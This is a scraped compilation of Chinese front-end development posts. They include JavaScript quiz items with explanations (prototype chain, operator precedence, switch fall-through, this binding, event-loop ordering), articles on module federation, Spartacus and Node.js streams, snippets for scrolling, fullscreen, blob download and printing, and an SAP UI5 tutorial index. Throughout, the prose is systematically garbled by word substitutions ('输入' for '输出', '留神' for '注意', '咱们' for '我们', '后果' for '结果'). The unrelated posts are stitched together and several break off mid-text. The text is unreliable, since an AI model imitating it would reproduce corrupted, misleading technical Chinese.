每日 3 题13 以下代码执行后，控制台中的输入内容为？Object.prototype.a = 1;Function.prototype.b = 2;function F() {}var f = new F();console.log(F.a);console.log(F.b);console.log(f.a);console.log(f.b);14 以下代码执行后，控制台中的输入内容为？var a = 2 >= 3 || true && 1 || false;console.log(a);15 以下代码执行后，控制台中的输入内容为？var x = 0;switch (++x) { case 0: ++x; case 1: ++x; case 5: ++x;}console.log(x);答案及解析13// 答案：1 2 1 undefined// 考查原型链// 首先对于 Function，这里有几个非凡的点console.log(typeof Function); // functionconsole.log(Function.__proto__ === Function.prototype); // trueconsole.log(Function.prototype.__proto__ === Object.prototype); // true// 本人入手跑一下记住后果即可Object.prototype.a = 1; // 在原型对象上增加属性并赋值Function.prototype.b = 2; // 同上function F() {}var f = new F();// 上面捋一下原型链，"=>" 代表指向console.log(F.a);// F.__proto__ => Function.prototype，Function.prototype.__proto__ => Object.prototype// 顺着原型链找属性 a 即可，找到 Object.prototype.a 为 1console.log(F.b);// 原型链同上，找到 Function.prototype.b 为 2console.log(f.a);// f.__proto__ => F.prototype// 留神 F.prototype 只是个一般对象，所以 F.prototype.__proto__ => Object.prototype// 顺着原型链找属性 a，找到 Object.prototype.a 为 1console.log(f.b);// 原型链同上，找不到属性 b，所以后果为 undefined// 留神 f 和 F 的原型链的区别14// 答案：1// 考查 && 和 || 的优先级以及运算符的了解// && 的优先级高于 ||// 故先计算 true && 1console.log(true && 1); // 问：输入什么// 答案是 1，答复 true 的对 && 的了解有误// 对于 expr1 && expr2// 如果 expr1 可能转化为 true，表达式返回 expr2，否则返回 expr1// 同理 expr1 || expr2// 如果 expr1 可能转化为 true，表达式返回 expr1，否则返回 expr2var a = 2 >= 3 || true && 1 || false;// 综上，一步一步计算如下// (2 >= 3 || true && 1 || false)// = (2 >= 3 || 1 || false)// = (1 || false)// = 1console.log(a);15// 答案：3// 考查：switch 和 ++// 首先 ++ 在前会先计算自增 1// 对于 case 中没有 break 时，匹配到 case 会始终向下计算直到遇到 breakvar x = 0;switch (++x) { // 首先计算括号中式子：后果为 1 case 0: ++x; // 1 不匹配 0 case 1: ++x; // 匹配，计算后 x 为 2，并且没有 break，持续向下计算 case 5: ++x; // 计算 ++x，计算后 x 为 3}console.log(x); // 故最终输入 3

模块联邦之缘起自谷歌chrome浏览器异军突起，并在2008年9月2号 正式官宣公布 v8 js引擎之后，它以极高的运行效率席卷了网络世界，同时也捕捉了大量用户，这种不可阻挡的势头让其余各大科技公司（apple、moliza、microsoft）感触到了微小的杀气， 随即大家都开始招兵买马、磨刀赫赫筹备杀出一条血路，从此js引擎进入了军备竞赛期间，这其中微软甚至不惜自废IE并开始力推背地携带了微软有数心血的全新js引擎 Chakra的edge浏览器，可想而知大家对js引擎这块蛋糕的器重水平有多高，而v8的诞生催化了大量的驰名开源作品，让js生态始终放弃着十分强劲的生机，这其中最驰名的就是 2009 年诞生的nodejs，一个基于v8的服务端js运行时，让js这门语言开始从前台到后盾遍地生花，以至于以下一句很早诞生的调侃话语至今还在流传： Any application that can be written in JavaScript, willeventually be written in JavaScript.模块化标准nodejs将commonjs模块化带到了服务器端，让大型js工程组织起来更加井井有条，同时也带了npm这个超级杀手锏，让模块散发与共享效率进步到了前所未有的高度。 而前端利用也随着网络应用的复杂度成倍晋升，导致进入代码体积进入了高速收缩期间，这个时候急需一个无效的模块化计划来解决如何优雅拆分模块，如何进步代码复用性和可维护性等一系列问题。 此时两大支流模块化计划amd和cmd开始在前端这里竞相角逐并最初各自站稳了一份很大的地盘，他们的代表实现别离是requirejs和seajs，置信不少小伙伴都理解或应用过。 工程化体系只管requirejs和seajs为前端带来了模块化标准的实现并给大型js工程注入了巩固的根基，然而仅靠模块化标准，仍然不能解决如何和npm生态互通，如何治理日趋简单的模块依赖关系，如果兼容新的js个性等一系列问题，归根结底，这外面波及到一个关键词工程化体系，之后webpack和babel便诞生了，他们指标十分明确，解决了以下图中的4大问题 随即成为了前端开始工程化体系开发的事实上的基建标配。 webpack依附优良的插件和加载器机制，让其围绕它的生态得以不停地做大做强，干掉了过程其余更偏差于工具的gulp，grunt等一众对手 npm 的魔咒webpack和npm简直造成了完满搭档的状态，但前端本来从cdn获取的资源改由打包工具合并到一个包体里带来了致命的更新和部署效率问题。 在某些须要须要动静更新的场景，这种all in one的打包机制让包体的部署效率大打折扣，这本不是webpack和npm的问题，而是人们天生对web环境须要疾速迭代、快递试验的高要求带来的典型场景需要。 注：externals 自身不能彻底解决动静更新的诉求，只适宜于将底层公关依赖包体外链到cdnbundless 来袭同时webpack随着我的项目体积日趋宏大，新的问题诸如开发体验差（热更新慢）、包体加大、构建速度慢（node\_modules黑洞）等问题也诞生了，此时新生代的开发工具snow和vite以不打包的名义开始鲸吞webpack的市场。 他们都利用了浏览器的原生模块化能力esm，跳过webpack的须要的依赖剖析和打包流程，在此设计下做到了毫秒级的调试启动。 但它们带来的极致快体验并不能波动整个webpack生态的深厚围城，事实上大家都是处于调试基于vite而生产打包还是用webpack的双擎驱动模式，毕竟esm遍及还须要工夫。 模块联邦吹响反攻号角既然大家都吐槽wepack构建慢，那么可不可以有一种形式既能跳过构建步骤又能让用户能够按本人的形式组合多层次依赖模块呢？ 当然有的，那就是走预构建这条路线 模块联邦因而诞生了，它的平凡之处在于放弃以后前端开发模块化、组件化、工程化的高效率体系下，容许模块独立开发、独立部署，通过 CDN 间接共享，从而挣脱npm包体无奈动静更新的枷锁，从而推动整个前端界开发和运行体验回升到一个新高度。 只有有越多的模块能晋升到联邦里，本地启动速度将越快！ 而且联邦模块天生具备双重身份，即能够是模块消费者，也能够是模块提供者，这让模块联邦利用造成了天壤的网站关系，模块散发效率、部署效率、共享效率都失去了前所未有的晋升！ 模块联邦的阿喀琉斯之踵webpack 5或者其余工具带来的模块联邦实现真的完满了吗？它确实解决了免构建、动静更新、跨我的项目共享模块的问题 但基于现有的编译时插件化机制去实现，无奈躲避工具链强绑定，编译时确定能力近程模块生产关系的难题 试想一下，你须要应用模块联邦这么技术，须要做的前置条件有多重，须要降级真个工具链！而且不同工具链之前的联邦模块是相互不通的！模块的流通性绑定在了你抉择的工具链上。 模块联邦新反动破除这两大难题的惟一解就是将其sdk化，这是hel-micro对模块联邦实现的全新思考，也是发动模块联邦新反动的秘密武器。 sdk化后，任何技术栈、任何工具链均可无损、无痛接入模块联邦技术。 运行时的模块生产关系从工具链回归到js语言自身，意味着模块生产关系从编译时晋升到运行时，将极大进步动静载入近程模块的灵活性，为更简单的业务赋能。 降维打击比照依赖工具插件实现的模块联邦，hel-micro从语言层面的实现将对其余模块联邦实现造成降维打击。 相比传统的npm共享形式，hel-micro也具备更高效的代码共享能力（运行时共享） 解密 sdk 化外围实现要实现sdk化，意味着我么必须挖掘出js语言自身的隐含能力，并跳出传统的打包流程思维，能力达到咱们的最终目标 ...

题目给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出 和为目标值 target  的那 两个 整数，并返回它们的数组下标。你能够假如每种输出只会对应一个答案。然而，数组中同一个元素在答案里不能反复呈现。你能够按任意程序返回答案。 示例 1：输出：nums = [2,7,11,15], target = 9输入：[0,1]解释：因为 nums[0] + nums[1] == 9 ，返回 [0, 1]示例 2：输出：nums = [3,2,4], target = 6输入：[1,2]示例 3：输出：nums = [3,3], target = 6输入：[0,1]解计划一function solutionOne(nums, target) { let res = null; let loopNum = 0; for (let index = 0; index < nums.length - 1; index++) { const current = nums[index]; for (let nextIndex = index + 1; nextIndex < nums.length; nextIndex++) { const next = nums[nextIndex]; loopNum += 1; if (current + next === target) { res = [index, nextIndex]; break; } } if (res) { break; } } console.log("后果：", res); console.log("循环次数", loopNum);}solutionOne([2, 7, 11, 15], 9); // [0, 1] 循环次数 1solutionOne([3, 2, 4], 6); // [1, 2] 循环次数 3solutionOne([3, 3], 6); // [0, 1] 循环次数 1计划二function solutionTwo(nums, target) { let res = null; for (let index = 0; index < nums.length; index++) { const diff = target - nums[index]; const offset = index + 1; let nextIndex = nums.slice(offset).indexOf(diff); if (nextIndex > -1) { res = [index, nextIndex + offset]; break; } } console.log("后果：", res);}solutionTwo([2, 7, 11, 15], 9); // [0, 1]solutionTwo([3, 2, 4], 6); // [1, 2]solutionTwo([3, 3], 6); // [0, 1]原题链接 ...

1.滚动到页面顶部 咱们能够应用 window.scrollTo() 平滑滚动到页面顶部。 const scrollToTop = () => { window.scrollTo({ top: 0, left: 0, behavior: "smooth" });};2.滚动到页面底部 当然，如果晓得页面的高度，也能够平滑滚动到页面底部。 const scrollToBottom = () => { window.scrollTo({ top: document.documentElement.offsetHeight, left: 0, behavior: "smooth", });};3.滚动元素到可见区域 有时咱们须要将元素滚动到可见区域，咱们应该怎么做？应用 scrollIntoView 就足够了。 const smoothScroll = (element) => { element.scrollIntoView({ behavior: "smooth", });};4.全屏显示元素 你肯定遇到过这样的场景，须要全屏播放视频，并在浏览器中全屏关上页面。 const goToFullScreen = (element) => { element = element || document.body; if (element.requestFullscreen) { element.requestFullscreen(); } else if (element.mozRequestFullScreen) { element.mozRequestFullScreen(); } else if (element.msRequestFullscreen) { element.msRequestFullscreen(); } else if (element.webkitRequestFullscreen) { element.webkitRequestFullScreen(); }};5.退出浏览器全屏状态 ...

每日 3 题10 以下代码执行后，控制台中的输入内容为？var obj = { a: 1,};((obj) => { console.log(obj.a); obj.a = 3; var obj = { a: 2, }; console.log(obj.a);})(obj);console.log(obj.a);11 以下代码执行后，控制台中的输入内容为？function Fun() {}Fun.prototype.a = 1;let f1 = new Fun();Fun.prototype = { b: 2, c: 3,};let f2 = new Fun();Fun.prototype.d = 4;console.log(f1.a);console.log(f1.b);console.log(f2.c);console.log(f2.d);12 以下代码执行后，控制台中的输入内容为？var num = 1;let obj = { num: 2, foo: function () { console.log(this.num); }, foo2: () => { console.log(this.num); },};let f1 = obj.foo;let f2 = obj.foo2;obj.foo();obj.foo2();f1();f2();答案及解析10// 答案 1 2 3// 考查形参、局部变量、援用类型、立刻执行函数// 立刻执行函数外部，var 申明的变量会晋升到函数顶部var obj = { a: 1,};((obj) => { var obj; // 反复申明有效 console.log(obj.a); // *1 obj.a = 3; // *2 obj = { a: 2, }; // *3 console.log(obj.a); // *4})(obj);console.log(obj.a); // *5/** * 形式参数 obj 属于局部变量，函数内 var obj 反复申明有效 * 立刻执行函数将全局对象 obj 作为参数传入函数，留神是援用类型， * 所以函数内 obj 指向全局对象 obj，因而`*1`处输入 1（即全局变量的属性 1） * * *2处将全局变量的属性 a 赋值为 3 * *3处局部变量 obj 指向了一个新的对象`{ a: 2 }`，留神对全局变量不会有影响 * *4处输入的是局部变量的属性 a，即新对象`{ a: 2 }`的属性 a，为 2 * *5处输入全局变量的属性 a，在函数内曾经被改为 3 */11// 答案：1 undefined 3 4// 考查原型链function Fun() {}Fun.prototype.a = 1;// 在 Fun 的原型对象上增加属性 a 并赋值为 1let f1 = new Fun();// 创立实例 f1，此时 f1 的属性 __proto__ 指向 Fun.prototypeFun.prototype = { b: 2, c: 3,};// Fun 的 prototype 属性指向了一个新对象// 留神不会影响实例 f1，因为 f1.__proto__ 还是指向原来那个原型对象let f2 = new Fun();// 创立实例 f2，此时 f2 的属性 __proto__ 指向 Fun.prototype// 留神这时 Fun.prototype 曾经跟创立 f1 时的不同了// 即 f2.__proto__ 指向 { b: 2, c: 3 }Fun.prototype.d = 4;// 在 Fun 的原型对象上增加属性 d 并赋值为 4// 此时 Fun 的原型对象变为 { b: 2, c: 3, d: 4}// 留神这是批改了 Fun.prototype 指向的那个对象// 此时 f2.__proto__ 也指向 { b: 2, c: 3, d: 4}// 综上：f1.__proto__ 为 { a: 1 }// f2.__proto__ 为 { b: 2, c: 3, d: 4}console.log(f1.a); // 1console.log(f1.b); // undefined，本身及原型对象上都没有属性 bconsole.log(f2.c); // 3console.log(f2.d); // 412// 答案 在浏览器中 2 1 1 1// 考查 this、箭头函数和一般函数的区别var num = 1; // 在浏览器中 var 申明的全局变量会挂载到 window 对象上let obj = { num: 2, foo: function () { console.log(this.num); }, // 一般函数的 this 在其执行时能力确定下来 foo2: () => { console.log(this === global); console.log(this.num); }, // 箭头函数的 this 在定义时就确定下来了 // 箭头函数外部的 this 就是定义时内部代码块的 this // 留神这里内部代码块就是全局作用域，即 this 指向全局作用域 this 即 window // obj 前面的 {} 不是代码块！ // 因而箭头函数中的 this.num 就是全局 num 为 1};let f1 = obj.foo;let f2 = obj.foo2;obj.foo(); // 调用地位有执行上下文对象为 obj，因而 this 指向 obj 输入 2obj.foo2(); // 箭头函数输入 1f1(); // 调用地位执行上下文对象为全局对象，因而输入全局 num 为 1f2(); // 箭头函数输入 1

贴代码，为什么我本人写的这个递归最初扭转原数据的值，被拷贝的数据也会扭转（没变成深拷贝） const deepCopy = (instance) => { const result = Array.isArray(instance) ? [] : instance instanceof Object ? {} : null if (result === null) { throw new Error(`须要传入Array或Object类型的参数，但当初是${typeof instance}类型的参数`) } if (Array.isArray(instance)) { for (let i = 0; i < instance.length; i++) { const inst = instance[i] result[i] = inst if (inst instanceof Object) { deepCopy(inst) } } } else if (instance instanceof Object) { for (const key in instance) { result[key] = instance[key] if (Array.isArray(instance[key]) || instance[key] instanceof Object) { deepCopy(instance[key]) } } } return result } const o = JSON.parse('{"hnzhghActivity":{"activityType":"4","activityTitle":"测试","startTime":"2022-09-01 00:00:00","endTime":"2022-10-25 00:00:00","imgId":"282203357600632832","imgPath":"https://le/2022/09/02/bae50aff-28a3-487a-b99c-1fec2c7ad761.png","createUser":"258054318004981760","unionId":"248601951852867584","unionName":"河南省总工会","createUserName":"lvyuhui"},"answerRule":"阿瓦达瓦办法","answerNum":5,"answerTime":30,"answerFrequency":1,"correctNumber":1,"hnzhghActivityAnswerAwardList":[{"awardType":"2","awardName":"谢谢参加","awardImg":"htile/picture/else.png"},{"awardType":"1","awardName":"23","awardTotal":"23","awardImg":"https://ghile/2022/09/02/1af9e8ae-447e-4ddf-a3b9-6b2839c3209f.png","awardImgId":"282203439435698176","awardProbability":"23","deliveryType":"1"},{"awardType":"1","awardName":"23","awardTotal":"232","awardImg":"https://gile/2022/09/02/49be25a5-e2a1-4a74-a3c8-497f9d327a30.png","awardImgId":"282203467839524864","awardProbability":"3","deliveryType":"2","address":"发回给你跟儿童边呢人"}],"hnzhghActivityAnswerTopicList":[{"topicId":"275063568107655168","topicName":"《工会法》比赛题库0813"},{"topicId":"273491974549753856","topicName":"809题库测试845"},{"topicId":"271339739891978240","topicName":"测试专用题库"}],"topicName":"《工会法》比赛题库0813，809题库测试845，测试专用题库"}') console.log(o); console.log(deepCopy(o));能够尝试扭转递归后返回的数据，能扭转原数据 ...

import axios from 'axios'import { getToken } from '@/utils/auth'const mimeMap = { xlsx: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', zip: 'application/zip'}const baseUrl = process.env.VUE_APP_BASE_APIexport function downloadExcel(str, type="xlsx", filename) { axios({ method: 'get', url: baseUrl + str, responseType: 'blob', headers: { 'Authorization': 'Bearer ' + getToken() } }).then(res => { resolveBlob(res, mimeMap[type]) })}/** * 解析blob响应内容并下载 * @param {*} res blob响应内容 * @param {String} mimeType MIME类型 */export function resolveBlob(res, mimeType) { var blob = new Blob([res.data], { type: mimeType }); //从response的headers中获取filename, 后端response.setHeader("Content-disposition", "attachment; filename=xxxx.xlsx") 设置的文件名; var patt = new RegExp('filename=([^;]+\\.[^\\.;]+);*'); var contentDisposition = decodeURI(res.headers['content-disposition']); var result = patt.exec(contentDisposition); var fileName = result[1]; fileName = fileName.replace(/\"/g, ''); const ObjectUrl = URL.createObjectURL(blob); // 对于<a>标签，只有 Firefox 和 Chrome（内核）反对 download 属性 if ('download' in document.createElement('a')) { const aLink = document.createElement('a'); aLink.href = ObjectUrl; aLink.setAttribute('download', fileName) // 设置下载文件名称 document.body.appendChild(aLink) aLink.click() window.URL.revokeObjectURL(ObjectUrl) // 开释URL 对象 } else { // IE 浏览器兼容办法 window.navigator.msSaveBlob(blob, fileName) }}备注：实质还是拿到后盾的文件流数据，而后前端转成二进制文件，通过a标签的download属性来下载 ...

很多做过 SAP Hybris 施行的敌人，对于 Hybris Accelerator 都应该很相熟了。 Hybris Accelerator 是一个即用型电子商务实现，客户能够疾速装置和运行。因为其自身的模板个性，能够不便地进行自定义。Accelerator 基于 Java Spring 开发而成，其 Storefront 开发是应用 JSP（Java 服务器页面）实现的。 现在，单体架构和 JSP 在 Commerce Cloud 我的项目的可降级性上带来了很大的挑战，因而 SAP 决定采纳一种新的形式为 SAP Commerce 开发店面。单体架构尽管在开发中提供了很大的灵活性，但另一方面也会导致可扩展性问题，更重要的是它可能会在降级和部署中造成一些麻烦。 一个具体的例子：咱们正在对 Storefront 进行一些渺小的视觉层面上的更改。将其部署到生产环境可能须要从新构建整个利用，并重启整个服务器。JSP Accelerator 的开发须要全栈开发人员来实现。 Accelerator Storefront 的另一个问题是它是一个模板代码。这会导致降级艰难。 正是因为 Accelerator 这些诸多局限，才有了 Spartacus 开源我的项目的诞生。 它是一种用于构建通过 REST API 与 SAP Commerce Cloud 通信的解耦店面的框架。它通常被称为 headless Storefront. Spartacus 基于 Angular ，容许开发人员应用这个企业级框架构建 SPA 和 PWA 店面。 除了其框架个性之外，Spartacus 也是 npm.js 上可用的一组 JavaScript 库。 与应用作为模板代码公布的 Accelerator 工作相比，这是一种应用办法上的转变。 在 Spartacus 中，无需更改源代码； 开发人员只需导入细粒度的库，笼罩或扩大给定的组件/服务，并实现基于我的项目的自定义实现。 基于库的办法提供了简略的可降级性和齐全的可扩展性。 ...

Spartacus 的次要构建块是后端集成。 默认状况下，Spartacus 通过 OCC v2 REST API 与 SAP Commerce Cloud 连贯。 然而，因为其灵便的架构，咱们能够通过增加或替换现有的 OCC 连接器来连贯到任何其余零碎。 这意味着必须在每个 JavaScript 店面中实现的数据加载和状态治理的所有根底工作都曾经实现。 这节俭了大量的开发工夫。 更重要的是，Spartacus 团队始终致力于优化这一层，并使其与最新的 SAP Commerce 版本放弃同步。 Spartacus 通过 Restful API 连贯其余零碎的示意图如下： Spartacus 为 UI 提供了一个独自的包，被称为 @spartacus/storefront. 它由可重用的 UI 组件和用于构建店面的逻辑组成。 它还蕴含一个开箱即用的 B2C 实现，咱们能够依据须要进行调整，此实现也称为 recipe module. 有很多现成的组件，如 Carousel、购物车、产品列表、产品详细信息、搜寻框等。 每个电子商务系统的重要组成部分都离不开搜索引擎优化(SEO)。Spartacus 反对服务器端渲染，可能微调服务器上渲染的内容和未渲染的内容。 Spartacus 开箱即用的规范实现也蕴含了负责生成元数据和构造数据的工具，帮忙搜索引擎了解页面内容。 另一个性能是可配置的路由，它容许咱们使咱们的 URL 可共享且对 SEO 敌对。 在零碎可降级性这一块上，因为 Angular 的模块化零碎，咱们能够有选择地抉择想要应用 Spartacus 的哪些局部。另一个有助于定制的 Angular 个性是组件继承。 咱们能够扩大任何 Spartacus 组件并依据咱们的须要对其进行调整。 最初一件事是 Angular 依赖注入框架，这意味着咱们能够轻松地用咱们本人的自定义服务笼罩现有服务。 因而，咱们能够在不涉及库文件的状况下批改应用程序的行为。 ...

多年来，Node.js 开发人员创立了许多包，其目标是让应用流变得更容易。 什么是 Node.js Stream？ Node.js 应用程序由单个过程运行，无需为每个申请创立新线程。 Node 在其规范库中提供了一组异步 I/O 原语，能够避免 JavaScript 代码阻塞，通常，Node.js 中的库是应用非阻塞范例编写的，使阻塞行为成为异样而不是失常行为。 流是数据的汇合——就像数组或字符串一样。 不同之处在于流可能不会一次全副可用，也就是说，它们不用一次行加载到内存中。 这使得流在解决大量数据或一次来自内部源的数据时十分弱小。 然而，流不仅仅是解决大数据。 它们还赋予了咱们代码中可组合性的力量。 就像咱们能够通过管道传递其余较小的 Linux 命令来组成弱小的 linux 命令一样，咱们能够在 Node 中应用流执行完全相同的操作。 Node 中的许多内置模块都实现了流接口，上面是一些例子： 下面的列表有一些原生 Node.js 对象的示例，这些对象也是可读和可写的流。 其中一些对象既是可读流又是可写流，例如 TCP 套接字、zlib 和加密流。 请留神，这些对象彼此之间也密切相关。 尽管 HTTP 响应是客户端上的可读流，但它是服务器上的可写流。 这是因为在 HTTP 案例中，咱们基本上从一个对象 (http.IncomingMessage) 读取并写入另一个对象 (http.ServerResponse)。 另外请留神，当波及到子过程时，stdio 流（stdin、stdout、stderr）是如何保护顺流类型(inverse Stream Type)的。 这容许开发人员采取一种非常简单的办法，从主过程 stdio 流与这些流进行管道传输。

JavaScript Storefront 应用程序的性能问题的表现形式有多种，最典型的是响应工夫(response time)的好转，甚至因为资源耗尽导致的网站齐全宕机。 因为 JavaScript Storefront 波及许多组件，因而确定性能问题的本源可能具备挑战性，如下图所示： 一个客户申请发送到 JavaScript Storefront 之后，Storefront 利用对该申请的解决，将波及以下组件，所有这些都可能是问题的本源： 客户端（浏览器或 CDN）Apache Web 服务器（通过 JS Storefront vhost），也就是 Commerce Cloud 反对的 redirect endpoint 性能的实现Nginx Web 服务器（jsapps pod 的 jsapps 容器）Server.js（jsapps pod 的 jsapps-ssr 容器 - 仅在启用 SSR 模式时相干）CDN（下面没有阐明，然而如果应用 CDN，那么它将位于此级别 - 如果未找到缓存的响应，申请能够在此处完结或持续到源服务器）Apache Web 服务器（通过 API vhost）商务网络服务（API pod）数据库个别状况下，咱们能够从 Dynatrace 的 Services 面板开始，这里能看到不同类别的服务的均匀响应工夫，最慢的响应工夫，以及每分钟解决的申请数量。 作为性能剖析的切入点，咱们能够从利用响应用户申请的最外层服务开始动手，单击右侧的服务列表中的 ... 符号。 下图的含意是，设置过滤器的值为 响应工夫 >= 6s, 这将容许仅可视化最慢申请的响应工夫热点。 另外留神，Promise.all 这个 API，如果应用不失当，也可能带来性能问题，特地是用大量的操作调用它的时候。 例如，咱们有一个 ids 数组，须要从数据库中依据 id 读取实体。 如果列表中有 10 个 id，那不是问题，但如果有 1000 个的话，不倡议一次性从数据库中实现全副的数据读取操作。一种更优的解决方案是，采纳批量操作 + 游标的形式，从数据库中读取数据。 ...

前端数据报表打印计划背景我的项目：vue + element ui 需要：web端连贯打印机打印报表性能 关键词：浏览器端 连贯打印机 打印报表 调研首先，前端调用打印只有两种形式，应用window.print()和调用网络打印机。 window.print这个是浏览器凋谢的api个别快捷键ctrl+p或右键都也能调用。 能够通过媒体查问的计划进行部分打印，也就是暗藏其余的元素只展现须要打印的区域。 调用网络打印机这个形式其实就是调用接口传递参数，个别能够配合html2canvas 计划因为网络打印机计划还须要后端or打印机反对，不实用这里。 计划一：通过CSS媒体查问进行区域打印增加一个全局的媒体查问的款式@media print {  .no-print { display: none!important; }}将款式绑定不须要打印的元素上<div class="no-print"></div>改变须要打印区域的大小，宽度个别为980px，宽度过多会导致溢出。printElement.style.width = "980px"优缺点劣势：改变难度小。 毛病：波及地位多，而且这种行为太蠢了，不优雅。 计划二：将元素append到iframe进行渲染打印通过获取到须要打印的元素，而后通过innerHtml获取元素，而后将html字符串写入到iframe，而后把须要的款式全副写入。 const printId = 'print-element-id';const printElement = document.querySelector(printId)const printElementHtml = printElement.innerHtmlconst iframe = document.createElement('iframe')iframe.setAttribute('style', '你的款式，能够从css文件下载')document.appendChild(iframe)iframe.contentWindow.document.body.innerHtml = printElementHtml;// 调用打印iframe.contentWindow.print()优缺点改变不大，能够针对性解决。 但款式容易出问题，须要调整，有些依赖js自适应宽度的可能呈现打印不残缺的问题。 计划三：通过在iframe中间接构建TABLE进行渲染集体举荐计划 因为指标是打印报表，所以能够聚焦报表，没必要纠结是不是和网页统一，只有能按table打印就达到了目标。 当然如果产品须要保持一致，那看看能不能好好沟通，不能就抉择下面的计划。 外围就是联合计划二，应用自定义table简化款式，达到打印残缺的目标。 const data = [   {      "name": "马磊",      "email": "o.biayajolg@xkic.pe",      "id": "EfFACeD4-51d8-43B5-E9Bf-FFEB361dc5a4",      "age": 18,      "phone": "19864717125",      "address": "场历当式使民党标对确并线却。",      "user": "75FD6371-4c3D-ED90-DD15-F0EA6fD7b942",      "create_at": "2005-08-25 PM 18:35:14",      "update_at": "1983-12-28 AM 00:47:25"   },   {      "name": "程刚",      "email": "m.rvvvzvojp@ofrozu.hn",      "id": "912C1FF4-6CeA-8489-b2D8-2d5FFA816F6b",      "age": 97,      "phone": "19838636737",      "address": "办约拉则三称斯也包报素万制老。",      "user": "94754927-94cf-a7e5-aBe7-3A23112BC8f5",      "create_at": "1988-08-04 PM 17:26:51",      "update_at": "2008-05-26 AM 08:33:42"   }, ];// 代码非残缺代码，【伪代码】，代码大抵行为：通过数据创立tableconst table = document.createElement('table')data.forEach(item=>{  const tr = document.createElement('tr')  table.appendChild(tr);  Object.keys(item).forEach(item => { const td = document.createElement('td')   tr.appendChild(td) });});const iframe = document.createElement('iframe')iframe.setAttribute('style', '你的款式，能够从css文件下载')document.appendChild(iframe)// 这里改成table的html代码，当然能够思考改为本人 appendChild elementiframe.contentWindow.document.body.innerHtml = table.innerHtml;// 调用打印iframe.contentWindow.print() ...

（一）题目async function async1() { console.log('async1 start') await async2() console.log('async1 end') setTimeout(() => { console.log('time1') }, 0)}async function async2() { console.log('async2 start') setTimeout(() => { console.log('time2') }, 0)}async1()console.log('start')setTimeout(() => { console.log('time3') }, 0)（二）打印程序async1 startasync2 startstartasync1 endtime2time3time1（三）剖析1、遇到await前面以后行的内容（无论语句还是函数办法）；2、遇到await前面非以后行的内容，是在函数执行后，才执行的；3、宏工作队列中会依照push进去的先后顺序，顺次打印输出；

一套适宜 SAP UI5 初学者循序渐进的学习教程作者简介Jerry Wang，2007 年从电子科技大学计算机专业硕士毕业后退出 SAP 成都研究院工作至今。Jerry 是 SAP 社区导师，SAP 中国技术大使。在长达 15 年的 SAP 规范产品开发生涯里，Jerry 已经先后参加 SAP Business ByDesign, SAP CRM, SAP Cloud for Customer, SAP S/4HANA, SAP Commerce Cloud(电商云)等规范产品的研发工作。 Jerry 工作中应用 ABAP, Java, JavaScript 和 TypeScript 进行开发, 对包含 SAP UI5 在内的多款 SAP 自研框架有深刻的钻研。 教程目录SAP UI5 本地开发环境的搭建SAP UI5 利用开发教程之一：Hello WorldSAP UI5 利用开发教程之二：SAP UI5 的疏导过程 BootstrapSAP UI5 利用开发教程之三：开始接触第一个 SAP UI5 控件SAP UI5 利用开发教程之四：XML 视图初探SAP UI5 利用开发教程之五：视图控制器初探SAP UI5 利用开发教程之六 - 理解 SAP UI5 的模块(Module)概念SAP UI5 利用开发教程之七 - JSON 模型初探SAP UI5 利用开发教程之八 - 多语言的反对SAP UI5 利用开发教程之九 - 创立第一个 ComponentSAP UI5 利用开发教程之十 - 什么是 SAP UI5 利用的描述符 DescriptorSAP UI5 利用开发教程之十一 ：SAP UI5 容器类控件 Page 和 PanelSAP UI5 利用开发教程之十二 - 应用 CSS 类对 UI 进行进一步丑化SAP UI5 利用开发教程之十三 - 如何增加自定义 CSS 类SAP UI5 利用开发教程之十四 - 嵌入视图的应用形式SAP UI5 利用开发教程之十五 - 对话框和 Fragments 的应用形式SAP UI5 利用开发教程之十六 - 图标 icon 的应用SAP UI5 利用开发教程之十七 - 聚合绑定在 UI5 复合控件中的应用SAP UI5 利用开发教程之十八 - SAP UI5 数据绑定语法里的特殊符号，以及相对绑定和绝对绑定概念详解SAP UI5 利用开发教程之十九 - SAP UI5 数据类型和简单的数据绑定SAP UI5 利用开发教程之二十 - SAP UI5 的表达式绑定用法解说SAP UI5 利用开发教程之二十一 - SAP UI5 的自定义格局器 Custom FormatterSAP UI5 利用开发教程之二十二 - 过滤器 filter 的开发和应用SAP UI5 利用开发教程之二十三 - 列表控件的排序 Sort 和分组 GroupSAP UI5 利用开发教程之二十四 - 如何应用 OData 数据模型SAP UI5 利用开发教程之二十五 - 应用自开发的代理服务器解决 SAP UI5 利用拜访远端 OData 服务的跨域问题SAP UI5 利用开发教程之二十六 - OData 服务配合 Mock 服务器的应用步骤详解SAP UI5 利用开发教程之二十七 - SAP UI5 利用的单元测试工具 QUnit 介绍SAP UI5 利用开发教程之二十八 - SAP UI5 利用的集成测试工具 OPA 介绍SAP UI5 利用开发教程之二十九 - SAP UI5 的路由和导航性能介绍SAP UI5 利用开发教程之三十 - SAP UI5 的路由过程中进行参数传递SAP UI5 利用开发教程之三十一 - SAP UI5 的路由历史和路由回退(Routing back and history)SAP UI5 利用开发教程之三十二 - 如何创立一个自定义 SAP UI5 控件SAP UI5 利用开发教程之三十三 - SAP UI5 利用的响应式布局个性(Responsiveness)SAP UI5 利用开发教程之三十四 - SAP UI5 利用基于设施类型的页面适配性能(Device Adaptation)SAP UI5 利用开发教程之三十五 - 如何把本地开发的 SAP UI5 利用部署到 ABAP 服务器上SAP UI5 利用开发教程之三十六 - 应用 Chrome 开发者工具 Elements 标签动静批改 CSS 类SAP UI5 利用开发教程之三十七 - 应用 Chrome 开发者工具 Console 面板进行元素审查SAP UI5 利用开发教程之三十八 - 应用 Chrome 开发者工具查看程序执行出错时的上下文信息SAP UI5 利用开发教程之三十九 - SAP UI5 利用呈现白屏的一些常见谬误和分析方法分享SAP UI5 利用开发教程之四十 - 如何制作蕴含了 component-preload.js 在内的 SAP UI5 公布版本SAP UI5 利用开发教程之四十一 - Chrome 扩大 UI5 Inspector 的离线装置和应用办法SAP UI5 利用开发教程之四十二 - SAP UI5 自带的 Diagnostics 诊断工具应用办法介绍SAP UI5 利用开发教程之四十三 - SAP UI5 自带的 Support Assistant 工具应用办法介绍SAP UI5 利用开发教程之四十四 - Label 和 Input 控件文本没有程度对齐的起因剖析和解决方案SAP UI5 利用开发教程之四十五 - 如何在 SAP UI5 利用里应用 jQuery 和原生的 DOM APISAP UI5 利用开发教程之四十六 - 应用 Message Manager 实现开箱即用的验证(Validation)信息抛出SAP UI5 利用开发教程之四十七 - 如何自定义 SAP UI5 